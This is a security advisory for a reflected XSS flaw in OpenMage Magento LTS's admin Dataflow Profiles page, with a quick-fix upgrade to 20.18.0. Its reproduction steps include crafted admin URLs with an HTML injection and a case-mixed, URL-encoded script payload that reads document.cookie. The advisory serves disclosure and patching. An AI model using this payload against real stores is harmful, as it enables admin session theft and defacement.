GHSA-x8jv-q8j2-487c
Magento LTS: Reflected XSS - Import -> Data Flow (profiles)
Quick fix
GHSA-x8jv-q8j2-487c — openmage/magento-lts: upgrade to the fixed version with the command below.
composer require openmage/magento-lts:^20.18.0Details
A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.
## Steps to produce
+ Login to the admin panel
+ Go to the path `System -> Import/Export -> Dataflow - Profiles`
+ Select profile direction as `Import`.
+ Click on `Import Customers`
+ Upload the file.
File Link: [customer_20260212_204335.csv](https://github.com/user-attachments/files/25629638/customer_20260212_204335.csv)
+ Go back to `Run profile`.
+ Select the uploaded file and Click on `Run in Popup`.
+ One can see a URL like this
``` https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/ ```
+ One can see the filename getting reflection in HTML tags.
+ Inject an HTML tag and observe.
``` https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/ ```
<img width="1796" height="302" alt="image (3)" src="https://github.com/user-attachments/assets/502330b0-fa73-4b90-a81f-6216a98e474a" />
+ One can see the tag is getting executed.
+ Proceed for XSS.
``` https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E ```
<img width="1670" height="562" alt="image (4)" src="https://github.com/user-attachments/assets/98a75081-fa8c-4483-9078-0ab5e7e14e4d" />
+ There is an XSS popup.
## Impact
Cookie stealing, JS deface, many more
Are you affected?
Enter the version of the package you're using.
Affected packages
0Fixed in: 20.18.0composer require openmage/magento-lts:^20.18.0